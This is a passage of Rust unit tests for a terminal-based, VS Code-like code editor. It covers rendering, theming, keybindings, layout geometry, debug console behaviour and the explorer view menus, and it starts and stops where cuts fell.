    // height-starve the welcome area and the card clamps legitimately —
    // that clamp is not what this test pins. Full-window welcome isolates
    // the wrap arithmetic.
    app.show_tree = false;
    app.show_terminal = false;
    // Sweep widths: the card clips only where the measure-time wrap and the
    // paint-time wrap disagree on the line count, which is width-dependent.
    for width in (60u16..=180).step_by(2) {
        let backend = ratatui::backend::TestBackend::new(width, 50);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        let buf = term.backend().buffer().clone();
        let a = buf.area;
        let text: String = (a.y..a.y + a.height)
            .map(|y| {
                (a.x..a.x + a.width)
                    .map(|x| buf[(x, y)].symbol().to_string())
                    .collect::<String>()
            })
            .collect::<Vec<_>>()
            .join("\n");
        // Skip widths where the card itself is absent (too narrow for
        // the welcome stack) — only a partially painted card is a bug.
        if !text.contains("deliberately") {
            continue;
        }
        assert!(
            text.contains("cardclip-endcap."),
            "at {width} cols the release-note card clips its final line \
             (measure and paint must wrap at the same width)"
        );
    }
}

#[test]
fn welcome_logo_shrinks_before_the_release_note_card_clips() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.welcome.set_test_notes(long_test_note());
    // Default layout — sidebar and panel visible — at a common window size.
    // The welcome area is height-starved here, and the logo must yield rows
    // (down to its 4-row minimum) before the card is allowed to clip: a
    // full-height logo above a release note cut off mid-sentence is the
    // wrong trade (#99, observed at 140x40).
    let backend = ratatui::backend::TestBackend::new(140, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer().clone();
    let a = buf.area;
    let text: String = (a.y..a.y + a.height)
        .map(|y| {
            (a.x..a.x + a.width)
                .map(|x| buf[(x, y)].symbol().to_string())
                .collect::<String>()
        })
        .collect::<Vec<_>>()
        .join("\n");
    assert!(
        text.contains("deliberately"),
        "precondition: the release-note card must paint at 140x40"
    );
    assert!(
        text.contains("cardclip-endcap."),
        "at 140x40 the card clips its final line while the logo still \
         occupies its maximum height — the logo must shrink first"
    );
}

#[test]
fn status_transient_keeps_its_tail_when_longer_than_the_bar() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A transient whose informative part is the tail, longer than the room
    // left of the right cluster at 140 cols. The right cluster paints over
    // the left paragraph, so an unelided message loses exactly its tail —
    // for "Opened <deep absolute path>" that was the filename (#100).
    let deep: String = "directory-segment/".repeat(7);
    app.status = format!("Opened /{deep}main.rs");
    let backend = ratatui::backend::TestBackend::new(140, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer().clone();
    let a = buf.area;
    let last_row: String = (a.x..a.x + a.width)
        .map(|x| buf[(x, a.y + a.height - 1)].symbol().to_string())
        .collect();
    assert!(
        last_row.contains("main.rs"),
        "an over-long status transient must middle-elide so its tail stays \
         visible; the bar showed: {last_row:?}"
    );
    assert!(
        last_row.contains("Ln 1, Col 1"),
        "the right cluster must still paint: {last_row:?}"
    );
}

#[test]
fn status_path_speaks_workspace_relative_inside_the_root() {
    let tmp = tempfile::tempdir().unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    let inside = tmp.path().join("src").join("main.rs");
    assert_eq!(
        app.status_path(&inside),
        format!("src{}main.rs", std::path::MAIN_SEPARATOR),
        "paths under the workspace root must render root-relative, like tabs \
         and breadcrumbs"
    );
    let outside = std::path::Path::new("/etc/hosts");
    assert_eq!(
        app.status_path(outside),
        "/etc/hosts",
        "paths outside the root keep their absolute form"
    );
}

/// Render the app at 140x50 and clone the buffer for color probing.
fn render_buf(app: &mut App) -> ratatui::buffer::Buffer {
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    term.backend().buffer().clone()
}

fn count_bg(buf: &ratatui::buffer::Buffer, c: Color) -> usize {
    let a = buf.area;
    (a.y..a.y + a.height)
        .flat_map(|y| (a.x..a.x + a.width).map(move |x| (x, y)))
        .filter(|&(x, y)| buf[(x, y)].bg == c)
        .count()
}

#[test]
fn black_theme_paints_no_legacy_navy_or_button_blue_in_any_sidebar_view() {
    // The Black theme replaced the old blue accent with the brand teal, so
    // no frame may keep the legacy navy chips (#1e3a6e) or the VS Code
    // button blue (#0967b8): sidebar titles, remote header buttons, the
    // active editor tab, and the Initialize / Run and Debug buttons all
    // restyle together.
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("probe.txt");
    std::fs::write(&f, "alpha\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    let navy = Color::Rgb(0x1e, 0x3a, 0x6e);
    let button_blue = Color::Rgb(0x09, 0x67, 0xb8);
    for view in [
        SidebarView::Explorer,
        SidebarView::Search,
        SidebarView::SourceControl,
        SidebarView::Remote,
        SidebarView::RunDebug,
    ] {
        app.sidebar_view = view;
        let buf = render_buf(&mut app);
        assert_eq!(
            count_bg(&buf, navy),
            0,
            "legacy navy chip leaked into {view:?} under the Black theme"
        );
        assert_eq!(
            count_bg(&buf, button_blue),
            0,
            "legacy button blue leaked into {view:?} under the Black theme"
        );
    }
}

#[test]
fn black_theme_sidebar_titles_are_chipless_brand_headers() {
    use crate::gradient::{PANEL_TITLE_FG, rgb_color};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let buf = render_buf(&mut app);
    let tree = app.tree.last_area;
    assert_eq!(buf[(tree.x + 2, tree.y)].symbol(), "E");
    assert_eq!(buf[(tree.x + 2, tree.y)].fg, rgb_color(PANEL_TITLE_FG));
    app.sidebar_view = SidebarView::Remote;
    let buf = render_buf(&mut app);
    let remote = app.remote.last_area;
    assert_eq!(buf[(remote.x + 2, remote.y)].symbol(), "R");
    assert_eq!(buf[(remote.x + 2, remote.y)].fg, rgb_color(PANEL_TITLE_FG));
}

#[test]
fn black_theme_remote_header_buttons_are_near_white_icons() {
    use crate::gradient::{PANEL_TITLE_FG, rgb_color};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_view = SidebarView::Remote;
    let buf = render_buf(&mut app);
    let add = app.remote.header_add_btn;
    assert!(add.width > 0, "remote header add button must render");
    // The snug pill paints the glyph at the rect origin (the highlight wraps
    // exactly that one cell), so probe there rather than the rect centre.
    // 863cc5c moved header view-action icons off the brand teal to the
    // near-white PANEL_TITLE_FG, matching VS Code's light `icon.foreground`.
    assert_eq!(buf[(add.x, add.y)].fg, rgb_color(PANEL_TITLE_FG));
}

#[test]
fn black_theme_active_editor_tab_wears_the_teal_selection_fill() {
    use crate::gradient::{POPUP_SEL_BG, rgb_color};
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("probe.txt");
    std::fs::write(&f, "alpha\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    let buf = render_buf(&mut app);
    assert!(
        count_bg(&buf, rgb_color(POPUP_SEL_BG)) > 0,
        "active tab must wear the muted teal fill under the Black theme"
    );
}

#[test]
fn black_theme_action_buttons_wear_the_brand_teal_fill() {
    use crate::gradient::{PRIMARY_BTN_BG, rgb_color};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_view = SidebarView::SourceControl;
    let buf = render_buf(&mut app);
    let init = app.source_control.last_init_repo_button_area;
    assert!(
        init.width > 0,
        "Initialize button must render outside a repo"
    );
    assert_eq!(
        buf[(init.x + init.width / 2, init.y + init.height / 2)].bg,
        rgb_color(PRIMARY_BTN_BG)
    );
    app.sidebar_view = SidebarView::RunDebug;
    let buf = render_buf(&mut app);
    let run = app.run_debug.last_button_area;
    assert!(run.width > 0, "Run and Debug button must render");
    assert_eq!(
        buf[(run.x + run.width / 2, run.y + run.height / 2)].bg,
        rgb_color(PRIMARY_BTN_BG)
    );
}

#[test]
fn dark_blue_theme_keeps_the_legacy_blue_chrome() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("probe.txt");
    std::fs::write(&f, "alpha\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.theme = crate::theme::Theme::DARK_BLUE;
    app.sync_focus_flags();
    app.editor.open_pinned(&f).unwrap();
    let buf = render_buf(&mut app);
    let navy = Color::Rgb(0x1e, 0x3a, 0x6e);
    let tree = app.tree.last_area;
    assert_eq!(
        buf[(tree.x + 2, tree.y)].bg,
        navy,
        "EXPLORER chip stays navy"
    );
    assert!(count_bg(&buf, navy) > 0, "active tab stays navy");
    app.sidebar_view = SidebarView::RunDebug;
    let buf = render_buf(&mut app);
    let run = app.run_debug.last_button_area;
    assert_eq!(
        buf[(run.x + run.width / 2, run.y + run.height / 2)].bg,
        Color::Rgb(0x09, 0x67, 0xb8),
        "Run and Debug button stays VS Code blue under Croft Dark"
    );
}

// ---- New VS Code feature keybinding predicates ----

#[test]
fn command_palette_key_is_cmd_or_ctrl_shift_p() {
    assert!(is_command_palette_key(key(
        KeyCode::Char('p'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(is_command_palette_key(key(
        KeyCode::Char('p'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT
    )));
    // Cmd+P (no Shift) is Quick Open, not the palette.
    assert!(!is_command_palette_key(key(
        KeyCode::Char('p'),
        KeyModifiers::SUPER
    )));
    // Alt disqualifies it.
    assert!(!is_command_palette_key(key(
        KeyCode::Char('p'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT | KeyModifiers::ALT
    )));
}

#[test]
fn go_to_symbol_key_is_cmd_or_ctrl_shift_o() {
    assert!(is_go_to_symbol_key(key(
        KeyCode::Char('o'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(is_go_to_symbol_key(key(
        KeyCode::Char('o'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT
    )));
    // Cmd+O (no Shift) is open-line-below, not Go to Symbol.
    assert!(!is_go_to_symbol_key(key(
        KeyCode::Char('o'),
        KeyModifiers::SUPER
    )));
}

#[test]
fn open_line_above_relocated_from_cmd_shift_o_to_cmd_shift_enter() {
    // The VS Code-correct chord: Cmd/Ctrl+Shift+Enter inserts a line above.
    assert!(is_editor_open_line_above_key(key(
        KeyCode::Enter,
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(is_editor_open_line_above_key(key(
        KeyCode::Enter,
        KeyModifiers::CONTROL | KeyModifiers::SHIFT
    )));
    // Cmd+Shift+O no longer triggers it (it now opens Go to Symbol).
    assert!(!is_editor_open_line_above_key(key(
        KeyCode::Char('o'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
}

#[test]
fn toggle_line_comment_key_is_cmd_or_ctrl_slash() {
    assert!(is_toggle_line_comment_key(key(
        KeyCode::Char('/'),
        KeyModifiers::SUPER
    )));
    assert!(is_toggle_line_comment_key(key(
        KeyCode::Char('/'),
        KeyModifiers::CONTROL
    )));
    assert!(!is_toggle_line_comment_key(key(
        KeyCode::Char('/'),
        KeyModifiers::NONE
    )));
    assert!(!is_toggle_line_comment_key(key(
        KeyCode::Char('/'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
}

#[test]
fn toggle_block_comment_key_is_shift_alt_a() {
    assert!(is_toggle_block_comment_key(key(
        KeyCode::Char('a'),
        KeyModifiers::SHIFT | KeyModifiers::ALT
    )));
    assert!(is_toggle_block_comment_key(key(
        KeyCode::Char('A'),
        KeyModifiers::SHIFT | KeyModifiers::ALT
    )));
    // Alt alone (no Shift) is not the chord.
    assert!(!is_toggle_block_comment_key(key(
        KeyCode::Char('a'),
        KeyModifiers::ALT
    )));
    // The command modifier disqualifies it.
    assert!(!is_toggle_block_comment_key(key(
        KeyCode::Char('a'),
        KeyModifiers::SHIFT | KeyModifiers::ALT | KeyModifiers::SUPER
    )));
}

#[test]
fn toggle_wrap_key_is_alt_z() {
    assert!(is_toggle_wrap_key(key(
        KeyCode::Char('z'),
        KeyModifiers::ALT
    )));
    assert!(!is_toggle_wrap_key(key(
        KeyCode::Char('z'),
        KeyModifiers::ALT | KeyModifiers::SHIFT
    )));
    assert!(!is_toggle_wrap_key(key(
        KeyCode::Char('z'),
        KeyModifiers::NONE
    )));
}

#[test]
fn cmd_shift_p_opens_command_palette() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(app.command_palette.is_none());
    app.handle_key(key(
        KeyCode::Char('p'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        app.command_palette.is_some(),
        "Cmd+Shift+P must open the command palette"
    );
    // Esc closes it.
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(app.command_palette.is_none());
}

#[test]
fn running_move_line_down_command_reorders_buffer() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.lines = vec!["a".to_string(), "b".to_string(), "c".to_string()];
    app.editor.cursor_row = 0;
    app.run_command(crate::widgets::command_palette::Command::MoveLineDown);
    assert_eq!(app.editor.lines, vec!["b", "a", "c"]);
}

/// When a debug session ends after breakpoints were set but none was ever hit,
/// the feedback says so explicitly rather than the opaque "Debug session ended".
#[test]
fn debug_end_message_flags_a_program_that_exited_without_hitting_a_breakpoint() {
    assert_eq!(
        debug_end_message(true, false),
        "Program exited without hitting a breakpoint"
    );
    // A breakpoint was hit (ever_stopped), or none were set: plain end message.
    assert_eq!(debug_end_message(true, true), "Debug session ended");
    assert_eq!(debug_end_message(false, false), "Debug session ended");
}

/// The debug console (program output) stays visible after the session ends, so a
/// fast-exiting program's output/errors aren't wiped before the user can read
/// them. A fresh idle panel (no ended session) shows no console.
#[test]
fn debug_console_is_retained_after_the_session_ends() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_console = vec![String::from("hello from program"), String::from("all done")];
    app.run_debug.session_ended = true;
    app.refresh_debug_panel();
    assert!(
        app.run_debug
            .console_tail
            .contains(&String::from("all done")),
        "the ended session's console output must stay visible"
    );

    // A fresh idle panel (never ran, or a new run reset the flag) shows nothing.
    app.run_debug.session_ended = false;
    app.refresh_debug_panel();
    assert!(
        app.run_debug.console_tail.is_empty(),
        "the idle Run panel must not show stale console output"
    );
}

#[test]
fn explorer_views_menu_omits_dependencies_in_a_folder_with_no_manifest() {
    // A plain folder carries no package manifest, so the DEPENDENCIES view is
    // not offered at all — mirroring how rust-analyzer's "Rust Dependencies"
    // view simply does not exist outside a Rust project. The other four views
    // are always available, each with a checkmark reflecting its visibility.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("main.rs"), "fn main() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_explorer_views_menu();
    let menu = app.context_menu.as_ref().expect("menu must open");
    assert_eq!(
        menu.items.len(),
        ExplorerView::ALL.len() - 1,
        "the Dependencies row is dropped when no manifest is present"
    );
    assert!(
        !menu
            .items
            .iter()
            .any(|e| menu_label(e).contains("Dependencies")),
        "no dependency toggle in a manifest-less folder: {:?}",
        menu.items
    );
    for entry in &menu.items {
        let label = menu_label(entry);
        let checked = label.starts_with('\u{2713}');
        // Every listed row names an always-available view and its check glyph
        // matches that view's current visibility.
        let view = ExplorerView::ALL
            .iter()
            .find(|v| label.contains(v.label()))
            .unwrap_or_else(|| panic!("unrecognized menu row {label:?}"));
        assert_eq!(checked, app.explorer_views.is_visible(*view));
    }
}

#[test]
fn explorer_views_menu_labels_dependencies_for_the_detected_ecosystem() {
    // A Cargo workspace makes the DEPENDENCIES view appear, labeled for the
    // detected ecosystem ("Rust Dependencies"), so the menu is language-aware
    // rather than hardcoded.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("Cargo.toml"),
        "[package]\nname = \"x\"\nversion = \"0.1.0\"\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_explorer_views_menu();
    let menu = app.context_menu.as_ref().expect("menu must open");
    assert_eq!(menu.items.len(), ExplorerView::ALL.len());
    assert!(
        menu.items
            .iter()
            .any(|e| menu_label(e).contains("Rust Dependencies")),
        "a Cargo root labels the view 'Rust Dependencies': {:?}",
        menu.items
    );
}

#[test]
fn toggling_an_explorer_view_flips_and_persists_its_visibility() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let before = app.explorer_views.is_visible(ExplorerView::Outline);
    app.toggle_explorer_view(ExplorerView::Outline);
    assert_eq!(
        app.explorer_views.is_visible(ExplorerView::Outline),
        !before,
        "toggling Outline must flip its visibility"
    );
}

// --- Customize Layout: pure chrome geometry -------------------------------

fn main_band() -> Rect {
    Rect {
        x: 0,
        y: 0,
        width: 100,
        height: 30,
    }
}

#[test]
fn chrome_left_position_orders_activity_primary_editor_secondary() {
    let l = compute_chrome_layout(main_band(), true, true, true, SideBarPosition::Left, 20, 30);
    let a = l.activity.expect("activity shown");
    let p = l.primary_side.expect("primary shown");
    let s = l.secondary_side.expect("secondary shown");
    assert_eq!(a.x, 0, "activity bar hugs the left edge");
    assert_eq!(a.width, ACTIVITY_BAR_WIDTH);
    assert_eq!(
        p.x,
        a.x + a.width,
        "primary side bar follows the activity bar"
    );
    assert_eq!(p.width, 20);
    assert_eq!(
        l.right.x,
        p.x + p.width,
        "editor follows the primary side bar"
    );
    assert_eq!(
        s.x,
        l.right.x + l.right.width,
        "secondary is on the far right"
    );
    assert_eq!(
        l.sidebar_splitter_x,
        Some(l.right.x),
        "seam is the editor's left edge"
    );
    // Every column tiles the band exactly, no gaps or overlaps.
    assert_eq!(a.width + p.width + l.right.width + s.width, 100);
}

#[test]
fn chrome_right_position_mirrors_to_secondary_editor_primary_activity() {
    let l = compute_chrome_layout(
        main_band(),
        true,
        true,
        true,
        SideBarPosition::Right,
        20,
        30,
    );
    let s = l.secondary_side.expect("secondary shown");
    let p = l.primary_side.expect("primary shown");
    let a = l.activity.expect("activity shown");
    assert_eq!(
        s.x, 0,
        "secondary hugs the left when the primary is on the right"
    );
    assert_eq!(l.right.x, s.x + s.width, "editor follows the secondary");
    assert_eq!(
        p.x,
        l.right.x + l.right.width,
        "primary side bar follows the editor"
    );
    assert_eq!(a.x, p.x + p.width, "activity bar is on the far right");
    assert_eq!(
        l.sidebar_splitter_x,
        Some(p.x),
        "seam is the editor's right edge"
    );
    assert_eq!(s.width + l.right.width + p.width + a.width, 100);
}

#[test]
fn chrome_hidden_regions_consume_no_width() {
    let l = compute_chrome_layout(
        main_band(),
        false,
        false,
        false,
        SideBarPosition::Left,
        20,
        30,
    );
    assert!(l.activity.is_none());
    assert!(l.primary_side.is_none());
    assert!(l.secondary_side.is_none());
    assert_eq!(l.sidebar_splitter_x, None, "no seam without a side bar");
    assert_eq!(l.right.x, 0, "editor reclaims the whole band");
    assert_eq!(l.right.width, 100);
}

#[test]
fn chrome_narrow_frame_shrinks_primary_to_keep_editor_min() {
    // activity(4) + primary wants 90 + editor needs RIGHT_PANE_MIN, in 100 wide.
    let l = compute_chrome_layout(main_band(), true, true, false, SideBarPosition::Left, 90, 0);
    assert_eq!(l.right.width, RIGHT_PANE_MIN, "editor keeps its minimum");
    let p = l.primary_side.expect("primary still shown, just narrower");
    assert_eq!(p.width, 100 - ACTIVITY_BAR_WIDTH - RIGHT_PANE_MIN);
}

#[test]
fn panel_band_center_and_justify_fill_the_band() {
    let band = Rect {
        x: 10,
        y: 5,
        width: 40,
        height: 8,
    };
    assert_eq!(panel_band_rect(band, PanelAlignment::Center), band);
    assert_eq!(panel_band_rect(band, PanelAlignment::Justify), band);
}

#[test]
fn panel_band_left_hugs_left_right_hugs_right() {
    let band = Rect {
        x: 10,
        y: 5,
        width: 60,
        height: 8,
    };
    let left = panel_band_rect(band, PanelAlignment::Left);
    assert_eq!(left.x, 10);
    assert_eq!(left.width, 30);
    let right = panel_band_rect(band, PanelAlignment::Right);
    assert_eq!(
        right.x,
        10 + 60 - 30,
        "right-aligned panel ends at the band's right edge"
    );
    assert_eq!(right.width, 30);
}

// --- Zen Mode snapshot / restore ------------------------------------------

#[test]
fn zen_mode_hides_all_chrome_then_restores_the_snapshot() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A non-default starting layout so restore is meaningful.
    app.show_tree = true;
    app.show_terminal = false;
    app.secondary_side_bar_visible = true;
    app.activity_bar_visible = true;
    app.status_bar_visible = true;

    app.toggle_zen_mode();
    assert!(app.zen_mode, "zen on");
    assert!(!app.activity_bar_visible);
    assert!(!app.status_bar_visible);
    assert!(!app.show_tree);
    assert!(!app.secondary_side_bar_visible);
    assert!(!app.show_terminal);

    app.toggle_zen_mode();
    assert!(!app.zen_mode, "zen off");
    assert!(app.show_tree, "restored prior side bar");
    assert!(!app.show_terminal, "restored prior (hidden) panel");
    assert!(
        app.secondary_side_bar_visible,
        "restored prior secondary bar"
    );
    assert!(app.activity_bar_visible);
    assert!(app.status_bar_visible);
}

#[test]
fn secondary_side_bar_toggle_flips_visibility() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let before = app.secondary_side_bar_visible;
    app.toggle_secondary_side_bar();
    assert_eq!(app.secondary_side_bar_visible, !before);
}

#[test]
fn customize_layout_items_reflect_current_state_with_checks() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.activity_bar_visible = true;
    app.status_bar_visible = false;
    app.side_bar_position = SideBarPosition::Right;
    app.panel_alignment = PanelAlignment::Justify;
    let items = app.customize_layout_items();
    // Activity Bar (on) gets a check; Status Bar (off) does not.
    let activity = menu_label(&items[0]);
    assert!(
        activity.starts_with('\u{2713}'),
        "Activity Bar checked: {activity}"
    );
    let status = menu_label(&items[4]);
    assert!(
        !status.starts_with('\u{2713}'),
        "Status Bar unchecked: {status}"
    );
    // The active radio option carries the check.
    let labels = menu_labels(&items);
    assert!(
        labels
            .iter()
            .any(|l| l.starts_with('\u{2713}') && l.contains("Right")),
        "side-bar Right is checked"
    );
    assert!(
        labels
            .iter()
            .any(|l| l.starts_with('\u{2713}') && l.contains("Justify")),
        "panel Justify is checked"
    );
}

#[test]
fn render_survives_every_customize_layout_combination() {
    // Exercises the real render() path (not just the pure geometry) across the
    // layout permutations so an out-of-bounds buffer write in any branch
    // (side bar right, secondary bar, hidden chrome, every panel alignment)
    // panics here rather than in front of the user.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let aligns = [
        PanelAlignment::Left,
        PanelAlignment::Center,
        PanelAlignment::Right,
        PanelAlignment::Justify,
    ];
    for &pos in &[SideBarPosition::Left, SideBarPosition::Right] {
        for &activity in &[true, false] {
            for &secondary in &[true, false] {
                for &status in &[true, false] {
                    for &align in &aligns {
                        app.side_bar_position = pos;
                        app.activity_bar_visible = activity;
                        app.secondary_side_bar_visible = secondary;
                        app.status_bar_visible = status;
                        app.panel_alignment = align;
                        for size in [(120u16, 40u16), (40, 12)] {
                            let backend = ratatui::backend::TestBackend::new(size.0, size.1);
                            let mut term = ratatui::Terminal::new(backend).unwrap();
                            term.draw(|f| app.render(f)).expect("render must not panic");
                        }
                    }
                }
            }
        }
    }
    // And in Zen Mode (all chrome hidden) at a tiny size.
    app.toggle_zen_mode();
    let backend = ratatui::backend::TestBackend::new(30, 8);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f))
        .expect("zen render must not panic");
}

#[test]
fn layout_toolbar_emits_2x_inline_images_reflecting_on_off_state() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mut imgs = dummy_activity_images();
    imgs.layout_sidebar_on = "SIDE_ON".into();
    imgs.layout_sidebar_on_hover = "SIDE_ON_H".into();
    imgs.layout_sidebar_off = "SIDE_OFF".into();
    imgs.layout_panel_on = "PANEL_ON".into();
    imgs.layout_panel_off = "PANEL_OFF".into();
    imgs.layout_customize = "CUSTOMIZE".into();
    imgs.layout_customize_hover = "CUSTOMIZE_H".into();
    app.overlays.activity.set_images(imgs);
    // Place the toolbar (4 cells wide each), zero the activity bar so only the
    // layout icons survive the width filter.
    app.sidebar_areas = SidebarAreas::default();
    app.layout_icon_areas = LayoutIconAreas {
        toggle_side_bar: Rect::new(50, 0, LAYOUT_ICON_CELLS_W, LAYOUT_ICON_CELLS_H),
        toggle_panel: Rect::new(55, 0, LAYOUT_ICON_CELLS_W, LAYOUT_ICON_CELLS_H),
        customize: Rect::new(60, 0, LAYOUT_ICON_CELLS_W, LAYOUT_ICON_CELLS_H),
    };
    app.show_tree = true;
    app.show_terminal = false;
    app.pointer_cell = None;
    let overlays = app.pending_activity_image_overlays();
    // Side bar shown -> the filled (ON) image; panel hidden -> the hollow (OFF).
    assert!(
        overlays
            .iter()
            .any(|(pos, s)| *pos == (50, 0) && *s == "SIDE_ON"),
        "side-bar icon emits the ON image when shown"
    );
    assert!(
        overlays
            .iter()
            .any(|(pos, s)| *pos == (55, 0) && *s == "PANEL_OFF"),
        "panel icon emits the OFF image when hidden"
    );
    assert!(
        overlays
            .iter()
            .any(|(pos, s)| *pos == (60, 0) && *s == "CUSTOMIZE"),
        "customize icon always emits its image"
    );
    // Pointer over the customize icon -> the brighter hover variant.
    app.pointer_cell = Some((61, 0));
    let overlays = app.pending_activity_image_overlays();
    assert!(
        overlays
            .iter()
            .any(|(pos, s)| *pos == (60, 0) && *s == "CUSTOMIZE_H"),
        "customize icon emits the hover image under the pointer"
    );
    assert!(
        overlays
            .iter()
            .any(|(pos, s)| *pos == (50, 0) && *s == "SIDE_ON"),
        "a non-hovered icon keeps its resting image"
    );
    // Pointer over the side-bar icon, side bar shown -> the ON hover variant.
    app.pointer_cell = Some((51, 0));
    let overlays = app.pending_activity_image_overlays();
    assert!(
        overlays
            .iter()
            .any(|(pos, s)| *pos == (50, 0) && *s == "SIDE_ON_H"),
        "side-bar icon emits the ON hover image under the pointer"
    );
    // Flip both visibilities: the images swap to match.
    app.pointer_cell = None;
    app.show_tree = false;
    app.show_terminal = true;
    let overlays = app.pending_activity_image_overlays();
    assert!(
        overlays
            .iter()
            .any(|(p, s)| *p == (50, 0) && *s == "SIDE_OFF")
    );
    assert!(
        overlays
            .iter()
            .any(|(p, s)| *p == (55, 0) && *s == "PANEL_ON")
    );
}

#[test]
fn clicking_the_customize_icon_opens_the_customize_layout_popup() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let cust = app.layout_icon_areas.customize;
    assert!(cust.width > 0, "the customize icon must be laid out");
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(MouseButton::Left),
        column: cust.x,
        row: cust.y,
        modifiers: KeyModifiers::NONE,
    });
    let menu = app.context_menu.as_ref().expect("customize popup opens");
    assert!(
        matches!(
            menu.items.first(),
            Some(MenuEntry::Item {
                action: MenuAction::ToggleActivityBar,
                ..
            })
        ),
        "the popup is the Customize Layout menu"
    );
    // And the icon advertises itself on hover.
    assert_eq!(app.ui_tooltip_at(cust.x, cust.y), Some("Customize Layout"));
}

#[test]
fn clicking_the_side_bar_icon_toggles_the_primary_side_bar() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let side = app.layout_icon_areas.toggle_side_bar;
    assert!(side.width > 0);
    let before = app.show_tree;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(MouseButton::Left),
        column: side.x,
        row: side.y,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.show_tree, !before, "the side-bar icon flips show_tree");
}

#[test]
fn secondary_sidebar_chord_is_alt_cmd_b_not_plain_cmd_b() {
    assert!(is_secondary_sidebar_toggle_key(key(
        KeyCode::Char('b'),
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
    assert!(!is_secondary_sidebar_toggle_key(key(
        KeyCode::Char('b'),
        KeyModifiers::SUPER
    )));
    // Plain Cmd+B stays the PRIMARY side-bar toggle, never the secondary.
    assert!(!is_sidebar_toggle_key(key(
        KeyCode::Char('b'),
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
}

#[test]
fn unsaved_count_tracks_dirty_editors() {
    // The Explorer activity badge mirrors VS Code: the count of open editors
    // with unsaved edits. A freshly-opened blank buffer is clean; one edit
    // makes it count as a single unsaved file.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert_eq!(app.unsaved_count(), 0, "a fresh blank buffer is clean");
    app.editor.insert_char('x');
    assert_eq!(
        app.unsaved_count(),
        1,
        "an edited buffer counts as one unsaved file"
    );
}

fn sym(
    name: &str,
    kind: crate::lsp::manager::OutlineKind,
    depth: u16,
    start: u32,
    end: u32,
) -> crate::lsp::manager::OutlineSymbol {
    crate::lsp::manager::OutlineSymbol {
        name: name.to_string(),
        detail: None,
        kind,
